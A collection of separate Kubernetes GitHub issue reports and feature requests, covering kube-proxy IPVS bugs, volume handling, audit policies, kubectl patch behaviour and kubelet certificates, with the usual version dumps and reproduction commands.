in the experiments reported in issue  5761 i tried to clean up pods using:      $ kubectl delete pods -l name=serve-hostname --namespace=serve-hostnames-3537      but this kept failing and i ended up having to re-issue this command until i reached a fixed point. we should add a  --retry  flag that keeps re-trying the command until it has worked:      kubectl delete --retry pods -l name=serve-hostname --namespace=serve-hostnames-3537      while we continue to suffer from scalability errors i think it is important to have such a feature. @jlowdermilk @mbforbes

is this a bug report or feature request?  :\r   \r   what happened  :\r now k8s start to support raw block device.\r when i start to run a pod like:\r    yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: test-volume-mode\r   namespace: default\r spec:\r   containers:\r   - command:\r     - sleep\r     - \ 360000\ \r     image: ubuntu\r     imagepullpolicy: always\r     name: busybox\r     volumedevices:\r     - devicepath: /dev/vda\r       name: myclaim\r   dnspolicy: clusterfirst\r   hostnetwork: true\r   restartpolicy: always\r   schedulername: default-scheduler\r   securitycontext:\r       priviledged: true\r   serviceaccount: default\r   serviceaccountname: default\r   volumes:\r   - name: myclaim\r     persistentvolumeclaim:\r       claimname: pvc-1\r    \r the container is run as  --priviledged , but i can't see the device /dev/vda when exec to the container.\r when i run the following command to start a container via  docker directly:\r  docker run -it --device=/dev/sdc4:/dev/vda --privileged ubuntu /bin/bash \r the  /dev/vda  is also not exists.\r \r i create an issue to moby: https://github.com/moby/moby/issues/35991\r this is what docker works now.\r \r for k8s, the host device is abstracted as a  persistentvolume , users don't know the host device name, they only know the custom mapping device name. so when they want to start a --priviledged container, the custom mapping device name missed will make the users doesn't know where to get the host  device name.\r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r pull-kubernetes-kubemark-e2e-gce-big was failing consistently after  63328 merge. on looking through logs found that kubelet is failing to start on some of the nodes because plugin watcher server failed to start with:\r > kubelet.go:1354  failed to start plugin watcher. err: failed to start plugin watcher, err: too many open files\r  \r https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-kubemark-500-gce/14430/artifacts/kubemark-500-minion-group-9k9v/kubelet-hollow-node-5twz7.log\r \r   what you expected to happen  :\r plugin watcher not to fail to start\r \r   how to reproduce it  as minimally and precisely as possible   :\r add a test pr with plugin watcher feature gate enabled \r \r   anything else we need to know?  :\r related  64303\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r \r   what happened  :\r \r what's the best practice to generate  --tls-cert-file  and  --tls-private-key-file  for thousands of kubelet? \r \r i know if  --tls-cert-file  and  --tls-private-key-file  are not provided, there will be self-signed certificate and key by default. but that's not what i want. \r as cis center for internet security  suggests, i want to specify ca in   --kubelet-certificate-authority  in apiserver, to verify kubelet's certificate before establishing connection.\r \r i have thought about 2 methods:\r 1. generate a common cert, it's efficient, but currently can't find a method to support wildcard ip in certificate.\r 2. generate cert&key for each kubelet with it's ip. when there are thousands of nodes, that's a huge number of cert&key.\r \r any other ways? like, can i specify a ca in kubelet, and kubelet can maintain key and cert automatically? \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?    choose one : bug  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  : master    environment  : -   cloud provider or hardware configuration  : openstack -   os    e.g. from /etc/os-release : n/a -   kernel    e.g.  uname -a  : n/a -   install tools  : n/a -   others  :    what happened  :  ensureloadbalancer  now can update a lb instead of deleting it and recreating it.  however the security group  code is still set to try and create security group rules, and if it gets an error, delete the lb and start over.    what you expected to happen  : updating a service does not delete the lbaas lb    how to reproduce it    as minimally and precisely as possible : enable  manage-security-groups  in the   loadbalancer   section of  /etc/cloud.conf   restart a  kube-control-manager     anything else do we need to know  :

verify-godeps cannot be run locally and that leads to delay in fixing issues with it. it took 3 prs to fix this morning's submit-queue break.    https://github.com/kubernetes/kubernetes/pull/35704 https://github.com/kubernetes/kubernetes/pull/35696 https://github.com/kubernetes/kubernetes/pull/35699  cc @gmarek @kubernetes/contributor-experience

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gce-multizone/5471/  failed:  k8s.io  deployment deployment should support rollback {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:83 expected error:     < errors.errorstring | 0xc4202978b0>: {         s: \ error waiting for deployment test-rollback-deployment  got 6 / gcr.io/google_containers/redis:e2e  and new rs test-rollback-deployment-2736956791  got 6 / gcr.io/google_containers/redis:e2e  revision and image to match expectation  expected 4 / gcr.io/google_containers/redis:e2e : timed out waiting for the condition\ ,     }     error waiting for deployment test-rollback-deployment  got 6 / gcr.io/google_containers/redis:e2e  and new rs test-rollback-deployment-2736956791  got 6 / gcr.io/google_containers/redis:e2e  revision and image to match expectation  expected 4 / gcr.io/google_containers/redis:e2e : timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:780       previous issues for this test:  28348

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-staging-parallel/1448/  failed:  k8s.io  downward api should provide default limits.cpu/memory from node capacity {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/downward_api.go:174 expected error:     < errors.errorstring | 0xc8203f56b0>: {         s: \ failed to get logs from downward-api-7584e62f-bde1-11e6-8b71-0242ac110003 for dapi-container: an error on the server  \\\ internal server error: \\\\\\\ /api/v1/namespaces/e2e-tests-downward-api-bffkc/pods/downward-api-7584e62f-bde1-11e6-8b71-0242ac110003/log?container=dapi-container&previous=false\\\\\\\ \\\   has prevented the request from succeeding  get pods downward-api-7584e62f-bde1-11e6-8b71-0242ac110003 \ ,     }     failed to get logs from downward-api-7584e62f-bde1-11e6-8b71-0242ac110003 for dapi-container: an error on the server  \ internal server error: \\\ /api/v1/namespaces/e2e-tests-downward-api-bffkc/pods/downward-api-7584e62f-bde1-11e6-8b71-0242ac110003/log?container=dapi-container&previous=false\\\ \   has prevented the request from succeeding  get pods downward-api-7584e62f-bde1-11e6-8b71-0242ac110003  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2307       previous issues for this test:  28065

  \r if an audit policies is supplied and there are no rules detected, the api server should error.\r \r over the last release, a change was made so audit policies now require kind and apiversion fields to be parsed. so the following policy __doesn't work__:\r \r    yaml\r   log all requests at the metadata level.\r rules:\r - level: metadata\r    \r \r however this doesn't error, it just spits out:\r \r    \r i0829 15:03:48.359580   14374 reader.go:52  loaded 0 audit policy rules from file /tmp/audit-policy.yaml\r    \r \r this should result in an error. parsing a file with 0 rules should indicate there's some configuration failure.\r \r btw, the correct audit policy is:\r \r    yaml\r kind: policy\r apiversion: audit.k8s.io/v1beta1\r rules:\r   - level: metadata\r     \r \r we also need to update docs to reflect this new requirement, since kubernetes.io doesn't use \ kind\  or \ apiversion\  for the policy docs.\r \r /cc @sttts @soltysh @caoshufeng @tallclair @crassirostris

issue\r \r recently i have been testing ipvs mode of kube-proxy, here is the testing step:\r \r 1. run local-up\r 2. change kube-proxy to ipvs mode by changing kube-proxy.yaml\r 3. create pods by replicationcontroller\r 4. create corresponding service\r 5. use  kubectl  to see endpoint information\r 6. use  ipvsadm  to see ipvs information\r \r when i create a service, normally kube-proxy can create the right chain, but when i change replica number, the chain can't change correspondly, or will change after a really long time  server minutes . the information i got as follow:\r \r - first where 5 replicas.\r \r      shell\r    endpoint info\r   whoami       172.17.0.4:3000,172.17.0.7:3000,172.17.0.8:3000   18h\r    service info\r   whoami       clusterip   10.0.0.104   <none>        8800/tcp   18h\r    ipvsadm info\r   tcp  10.0.0.104:8800 rr\r     -> 172.17.0.3:3000              masq    1      0          0\r     -> 172.17.0.4:3000              masq    1      0          0\r     -> 172.17.0.5:3000              masq    1      0          0\r     -> 172.17.0.7:3000              masq    1      0          0\r     -> 172.17.0.8:3000              masq    1      0          0\r      \r \r - then change replicas number to 3\r \r      shell\r    endpoint info\r   whoami       172.17.0.3:3000,172.17.0.4:3000,172.17.0.5:3000 + 2 more...   18h\r    service info\r   whoami       clusterip   10.0.0.104   <none>        8800/tcp   18h\r    ipvsadm info\r   tcp  10.0.0.104:8800 rr\r     -> 172.17.0.3:3000              masq    1      0          0\r     -> 172.17.0.4:3000              masq    1      0          0\r     -> 172.17.0.5:3000              masq    1      0          0\r     -> 172.17.0.7:3000              masq    1      0          0\r     -> 172.17.0.8:3000              masq    1      0          0\r      \r \r - and when i curl service clusterip+port \r \r      shell\r     curl 10.0.0.104:8800\r   viola from whoami-lqk59\r     curl 10.0.0.104:8800\r   viola from whoami-8xh47\r     curl 10.0.0.104:8800\r   viola from whoami-pgqbg\r     curl 10.0.0.104:8800\r   curl:  7  failed to connect to 10.0.0.104 port 8800: no route to host\r     curl 10.0.0.104:8800\r   curl:  7  failed to connect to 10.0.0.104 port 8800: no route to host\r      \r \r   ​\r \r

the proto files that are generated have outside refs. probably just need two scripts.\r \r https://github.com/kubernetes/api/blob/master/core/v1/generated.proto l24

is this a bug report or feature request?  :\r   \r   what happened  :\r    \r i1116 09:02:43.479194       1 feature_gate.go:156  feature gates: map supportipvsproxymode:true \r i1116 09:02:43.480561       1 feature_gate.go:156  feature gates: map supportipvsproxymode:true \r i1116 09:02:43.485844       1 iptables.go:564  couldn't get iptables-restore version; assuming it doesn't support --wait\r i1116 09:02:43.492355       1 loader.go:357  config loaded from file /etc/kubernetes/proxy-kubeconfig.yaml\r w1116 09:02:43.496621       1 server_others.go:264  can't use ipvs proxier, trying iptables proxier\r i1116 09:02:43.498852       1 server_others.go:122  using iptables proxier.\r    \r \r   what you expected to happen  :\r kube-proxy to use ipvs experimental support\r \r   how to reproduce it  as minimally and precisely as possible   :\r start kube-proxy with \r    \r     - --feature-gates=supportipvsproxymode=true\r     - --proxy-mode=ipvs\r    \r \r   anything else we need to know?  :\r host /lib/modules is mounted into the pod into the same folder as ro.\r \r tried preloading all the kernel modules before starting kube-proxy based on this list https://github.com/kubernetes/kubernetes/blob/release-1.8/pkg/proxy/ipvs/proxier.go l75\r \r tried to exec the command at https://github.com/kubernetes/kubernetes/blob/release-1.8/pkg/proxy/ipvs/proxier.go l622 to and verified command runs fine and all listed moduls is loaded.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3\ , gitcommit:\ f0efb3cb883751c5ffdbe6d515f3cb4fbe7b7acd\ , gittreestate:\ clean\ , builddate:\ 2017-11-08t18:39:33z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3\ , gitcommit:\ f0efb3cb883751c5ffdbe6d515f3cb4fbe7b7acd\ , gittreestate:\ clean\ , builddate:\ 2017-11-08t18:27:48z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: virtual machines in proxmox\r - os  e.g. from /etc/os-release : container linux by coreos stable  1520.8.0 \r - kernel  e.g.  uname -a  : linux kubemaster01 4.13.9-coreos  1 smp thu oct 26 03:21:00 utc 2017 x86_64 common kvm processor genuineintel gnu/linux\r - install tools: manual kubernetes deploy\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r currently nfs volume is not supportd for windows. there is built-in client for nfs, but it’s limited to v2 and v3  whereas, majority of the market has moved on to v4 . so as long as there is no support for nfs v4, we could   not   start up this work in k8s.\r besides nfsv4 client, there is also dependency on a moby issue fix:  symlink for ca.crt & token files are broken on windows containers  https://github.com/kubernetes/kubernetes/issues/52419 \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.0\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign

is this a bug report or feature request?:\r \r   \r problem:\r the current  clientip  mode is based on the  x-forwarded-for  header. it would be nice to support affinity based on other headers.\r \r proposed solution:\r in this proposed solution, the idea is to take the x-tenant http header, hash it and have the service apply sessionaffinity based on this hash.\r service.spec.sessionaffinity=httpheader\r service.spec.sessionaffinityconfig.headername=x-tenant\r \r page to update:\r https://kubernetes.io/docs/concepts/services-networking/service/\r

   what happened  :\r suppose a pod is bound to a pv and the node running that pod goes down. under default configuration, the pv must be force-detached from the node which got down within 6 minutes  i think depending on --attach-detach-reconcile-sync-period  and successfully relocate to another node; however in the other node, the pod is stuck at containercreating state unless the \r 1  node is deleted\r 2  controller is restarted.\r \r looking at the bug reports  57497,  50004,  50200, this bug appears to be fixed in many pv drivers, but not in the iscsi one.\r \r   how to reproduce it  as minimally and precisely as possible   :\r make a node unavailable by taking it's ip out, or pkill kubelet, or crash kernel, poweroff hardware/vm etc...\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:48:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:38:10z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r bare metal, 512gb, 4 proc nodes.\r - os  e.g. from /etc/os-release :\r pretty_name=\ debian gnu/linux 9  stretch \ \r name=\ debian gnu/linux\ \r version_id=\ 9\ \r version=\ 9  stretch \ \r id=debian\r home_url=\ https://www.debian.org/\ \r support_url=\ https://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r - kernel  e.g.  uname -a  :\r linux aws-prod132 4.9.0-3-amd64  1 smp debian 4.9.30-2+deb9u5  2017-09-19  x86_64 gnu/linux\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r bug report\r \r > uncomment only one, leave it on its own line:\r >\r >  \r hello,\r \r we are using kubernetes cluster with version 1.10.3.\r we want to allow range of ports in the clusterip kind kubernetes service.\r but we don't know how to do this, it is not possible for us to allow each and every ports one by one in the service port section.\r \r we want to allow hundreds of ports.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ clean\ , builddate:\ 2018-04-12t14:26:04z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3+coreos.0\ , gitcommit:\ f1b890dbbf11abe58280b3ffe17d67749f5ae70e\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t17:27:17z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - os  e.g. from /etc/os-release :\r    \r name=\ container linux by coreos\ \r id=coreos\r version=1745.7.0\r version_id=1745.7.0\r build_id=2018-06-14-0909\r pretty_name=\ container linux by coreos 1745.7.0  rhyolite \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r - kernel  e.g.  uname -a  :\r \r  \r linux node1.example.com 4.14.48-coreos-r2  1 smp thu jun 14 08:23:03 utc 2018 x86_64 intel r  xeon r  cpu l5640 @ 2.27ghz genuineintel gnu/linux \r \r so can any one help us in this issue?

what happened  : i am applying a patch to an existing pod. this patch is an add operation of type json with includes a list of items to add. example:\r \r    \r kubectl patch pod alpine-correct --type='json' -p=' {\ op\ :\ add\ ,\ path\ :\ /metadata/annotations\ , \ value\ :{\ testone.annotation.io\ :\ test-one\ }},{\ op\ :\ add\ ,\ path\ :\ /metadata/annotations\ ,\ value\ :{\ testtwo.annotation.io\ :\ test-two\ }},{\ op\ :\ add\ ,\ path\ :\ /metadata/annotations\ ,\ value\ :{\ testthree.annotation.io\ :\ test-three\ }} '\r    \r results in:  pod/alpine-correct patched \r i ran  kubectl describe pod alpine-correct \r \r before the patch there were 0 annotations, now there was 1:  testthree.annotation.io\ :\ test-three\  \r \r   what you expected to happen  :\r i expected all three annotations to get added.\r \r   how to reproduce it  as minimally and precisely as possible   : \r \r 1. create an alpine pod   kubectl apply -f alpine-correct.yaml  \r 2. run the patch above\r 3. kubectl describe the pod and observe\r \r the alpine pod spec:\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: alpine-correct\r spec:\r   containers:\r   - image: alpine:3.2\r     command:\r       - /bin/sh\r       - \ -c\ \r       - \ sleep 60m\ \r     imagepullpolicy: ifnotpresent\r     name: alpine\r   restartpolicy: always\r    \r   anything else we need to know?  : \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.13\r - cloud provider or hardware configuration: gcp\r \r \r

currently we signal undecorated storage by simply affecting the undecoratedstorage to the decorator. this is a blocker for kubernetes/enhancements 383 as we need to enable watch cache for events  which currently hardcoded and not configurable \r \r cc @wojtek-t @gmarek \r \r /assign\r 

this is a tracking issue for the purposes of identifying the pieces of openshift we would like to componentize and make more consumable for other users of kube post 1.0.  this list should record whether we want the component in core kube, contrib kube, an ecosystem plugin, or to remain in openshift  which is a distribution of kube with enhancements .  this issue does not track the actual work required to compile/build/include/run these components, just the high level discussion.     upstreamed features in progress or completed -   implemented in deployments   a declarative description of how to iteratively roll out deployments  covered by  1743  -   implemented in ingresses   a declarative route resource which maps a service into one or more proxies - offers programmable http / https endpoints and configuration of l7 rules -   implemented in kubectl create   secret creation and generation from the cli -   implemented in kubectl edit   open a cli editor to edit resources -   implemented in kubectl export   export resources from the cli for reuse elsewhere -   implemented in kubectl drain   evacuate a node -   in progress   parameterized config files for simple instantiation of location independent resources -   in progress   the authorization engine - which can apply policy decisions on kubernetes resources in an abac and rbac model and manages a policy, roles, role bindings -   pending authorization   the oauth daemon  which manages oauth clients, tokens, and apps and can authenticate bearer tokens to the api  -   pending authorization   the user / identity api which allows third party auth integrations to track users by user name and store them in etcd, as well as group integration for folks integrating with ldap -   pending   move/unify the haproxy and f5 router component to work with ingresses     not currently planned - the image build component - a pattern for building docker images on the cluster as jobs  launch a container that can run a build and then push an image into a registry  - a version of the docker registry that stores its metadata in etcd and exposes access to track, watch, and manage images via a kube compatible api, and authenticates back to the cluster  allows both builds and deployments to iteratively

split off of  1178 and  1200.  it would be useful to be able to specify fields to be returned by get or list, such as just objectmetadata, desiredstate, or currentstate.  this could make a number of operations easier and cheaper, such as listing pods controlled by a replication controller, as in  1325.

is the expectation that there will be one elasticsearch cluster per kubernetes cluster? that might not always be the case.

since 1.2 we have moved away from individual cherrypicks and instead batch them up.  this should be turned into a button/lever/whatever. some kind of automated  i don't care about the details  mechanism that any branch 'owner' can make use of easily.    cc @bgrant0607 @eparis

kubernetes version    use  kubectl version  :      client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.4+3b417cc\ , gitcommit:\ 3b417cc4ccd1b8f38ff9ec96bb50a81ca0ea9d56\ , gittreestate:\ not a git tree\ , builddate:\ 2016-10-21t22:34:07z\ , goversion:\ go1.7.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ } server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.3\ , gitcommit:\ 4957b090e9a4f6a68b4a40375408fdc74a212260\ , gittreestate:\ clean\ , builddate:\ 2016-10-16t06:20:04z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }        environment  : -   cloud provider or hardware configuration  : gce    what happened  : creating a petset with multiple pvc allocates volumes in different zones, then pod scheduling fails.  volume a is in zone a, volume b in zone b, no node in both zones at the same time     what you expected to happen  : allocate volumes in the same zone.    how to reproduce it    as minimally and precisely as possible :      yaml apiversion: apps/v1alpha1 kind: petset metadata:   name: monitoring-influxdb-grafana-v4   namespace: kube-system   labels:      k8s-app: influxgrafana     version: v4     kubernetes.io/cluster-service: \ true\  spec:    servicename: monitoring-influxdb   replicas: 1   template:      metadata:        labels:          k8s-app: influxgrafana         version: v4         kubernetes.io/cluster-service: \ true\      spec:        containers:          - image: gcr.io/google_containers/heapster_influxdb:v0.7           name: influxdb           resources:               keep request = limit to keep this container in guaranteed class             limits:               cpu: 100m               memory: 500mi             requests:               cpu: 100m               memory: 500mi           ports:              - containerport: 8083             - containerport: 8086           volumemounts:           - name: influxdb-ps             mountpath: /data         - image: gcr.io/kuende-staging1/heapster_grafana:v3.1.1           name: grafana           env:           resources:               keep request = limit to keep this container in guaranteed class             limits:               cpu: 100m               memory: 100mi             requests:               cpu: 100m               memory: 100mi           env:               this variable is required to setup templates in grafana.             - name: influxdb_service_url               value: http://monitoring-influxdb:8086                 the following env variables are required to make grafana accessible via                 the kubernetes api-server proxy. on production clusters, we recommend                 removing these env variables, setup auth for grafana, and expose the grafana                 service using a loadbalancer or a public ip.             - name: gf_auth_basic_enabled               value: \ false\              - name: gf_auth_anonymous_enabled               value: \ true\              - name: gf_auth_anonymous_org_role               value: admin             - name: gf_server_root_url               value: /api/v1/proxy/namespaces/kube-system/services/monitoring-grafana/           volumemounts:           - name: grafana-ps             mountpath: /var   volumeclaimtemplates:     - metadata:         name: influxdb-ps         annotations:           volume.beta.kubernetes.io/storage-class: ssd       spec:         accessmodes:           - \ readwriteonce\          resources:           requests:             storage: 10gi     - metadata:         name: grafana-ps         annotations:           volume.beta.kubernetes.io/storage-class: standard       spec:         accessmodes:           - \ readwriteonce\          resources:           requests:             storage: 1gi        anything else do we need to know  :

currently, we re not testing rollback at all in any of our existing automated-upgrade testing. since we are going into direction when there will be only automated upgrade tests  hopefully this will happen in 1.7 , this would mean that noone will be testing rollback at that point.\r \r we should extend our existing upgrade test to also test \ rollback\ .\r \r @thockin @davidopp @mml @skriss

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r  \r \r   what happened  :\r \r tried to setup local cluster using  cluster/get-kube-local.sh  but its waiting in infinite loop.\r \r   what you expected to happen  :\r \r up and running local cluster\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    s   bash cluster/get-kube-local.sh\r downloading kubectl binary...success\r \r creating a local cluster:\r         starting kubelet...success\r         waiting for master components to start......................................................\r \r \r   anything else we need to know?  :\r \r tried checking the logs of docker container and looks like api server is not started. \r \r  failed to list  v1.node: get http://localhost:8080/api/v1/nodes?fieldselector=metadata.name%3d127.0.0.1&resourceversion=0: dial tcp  ::1 :8080: getsockopt: connection re\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : \r   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.1\ , gitcommit:\ 1dc5c66f5dd61da08412a74221ecc79208c2165b\ , gittreestate:\ clean\ , builddate:\ 2017-07-14t02:00:46z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r the connection to the server localhost:8080 was refused - did you specify the right host or port?\r \r - cloud provider or hardware configuration  : \r localvm, centos7\r \r - os  e.g. from /etc/os-release :  \r name=\ red hat enterprise linux server\ \r version=\ 7.2  maipo \ \r id=\ rhel\ \r id_like=\ fedora\ \r version_id=\ 7.2\ \r \r - kernel  e.g.  uname -a  : 3.10.0-327.el7.x86_64 \r - install tools:  cluster/get-kube-local.sh\r - others:  looks like the script runs hypercube container and expects the static pods manifests to be placed in /etc/kubernetes/manifests beforehand. ideally the script should do it before hand. \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r we will be supporting ubuntu as a node image soon, so the major storage plugins should be validated against it.\r

the iscsi disk manager should handle failed mounts correctly see  here  https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/iscsi/disk_manager.go \r \r  /assign\r

\r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >  \r \r   what happened  :\r kube-proxy ipvs mode, for nodeport type service, when i set  sessionaffinity  field to  clientip , and visit\r this service, it doesn't seems like realized  sessionaffinity .\r \r   what you expected to happen  :\r here is my test result:\r    shell\r   curl http://10.229.43.2:32082\r viola from whoami-2564q\r   curl http://10.229.43.2:32082\r viola from whoami-nv4p2\r   curl http://10.229.43.2:32082\r viola from whoami-nv4p2\r    \r

i have a problem ,when the iptables start ,then the node can't connect to servers.\r     \r master &  etcd:   10.20.1.11\r node1 &  etcd:    10.20.1.12\r node2 &  etcd:    10.20.1.13\r \r os: centos7\r docer version:ce-17\r kubernetes version:1.6.0\r     \r   the docker version  \r ! image  https://user-images.githubusercontent.com/19231863/30729713-3b5db7e2-9f94-11e7-8f2f-e1767e8bbbd5.png \r \r \r \r   i have deployment a nginx server  \r ! image  https://user-images.githubusercontent.com/19231863/30729699-1c4fc3ae-9f94-11e7-9c2c-f4c2756d6c30.png \r \r --------------------------------------------------------------------------\r     1.first ,stop the iptables     \r  \r \r     in the master 10.20.1.11  can  access the server :10.254.105.210    \r ! image  https://user-images.githubusercontent.com/19231863/30729788-bea88014-9f94-11e7-8008-d68c33ed38ce.png \r \r \r     in the node 10.20.1.12  can  access the server :10.254.105.210    \r  \r \r -------------------------------------------------------------------------\r   but,if start iptables in master ,the the node can't access to the server,only the master can access the server,what can i do to fix this ,i want use iptables,  \r  \r  \r \r     this is the iptables setting    \r  \r ! image  https://user-images.githubusercontent.com/19231863/30729959-ee691754-9f95-11e7-8c29-2a012ff76416.png \r \r \r thank you\r \r 

sometimes users do need to specify some kubelet flags, e.g. configure kubelet container runtime cgroup based on their environment.\r \r currently, user can only specify kubelet args with a hidden env  kubelet_test_args  for kube-up.sh.\r we should formalize the name exposed to user.\r \r \r @kubernetes/sig-node-feature-requests @kubernetes/sig-cluster-lifecycle-feature-requests

hi team.\r \r we are not able to schedule any pod on some nodes.\r we are getting below error:\r \r   2m            2m              1       {kubelet prod-node19.shift.enoc-airtel.com}     spec.containers{eaa-proptima-rmi}               warning         failed          failed to start container with docker id 1c37059616d8 with error: error response from daemon: {\ message\ :\ cannot join network of a non running container: f64ae14aad16bb1d443d7a1178c2f3072b3802cf29c1333a5d438c1fec162a44\ }\r \r is it related to flannel services or docker related issue or any other issue???

is this a bug report or feature request?  :\r  \r   what happened  :\r constructblockvolumespec   doesn't set proper readonly flag, instead it set hard-coded flag in each plugin. \r \r   what you expected to happen  :\r constructblockvolumespec   sets proper readonly flag.\r \r   how to reproduce it  as minimally and precisely as possible   :\r call reconstructvolume   to block volumes with both readonly flag is true and readonly flag is false.\r then, both of reconstructed volumes will have the hard-coded readonly flags, not the one that is originally set.\r \r   anything else we need to know?  :\r constructblockvolumespec   in each plugin code should call newspecfrompersistentvolume   with proper readonly flag set. however, there is no good way to find this flag from the path information. so, currently, plugins set hard-coded value here.\r \r note that specification of linux symbolic link doesn't preserve permission information.\r therefore, it needs the other way to preserve permission information.\r http://man7.org/linux/man-pages/man7/symlink.7.html\r >  on linux, the permissions of a symbolic link are not used in any\r >       operations; the permissions are always 0777  read, write, and execute\r >       for all user categories , and can't be changed.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10\r - cloud provider or hardware configuration: independent.\r - os  e.g. from /etc/os-release : independent.\r - kernel  e.g.  uname -a  : independent.\r - install tools: independent.\r \r - others:\r 

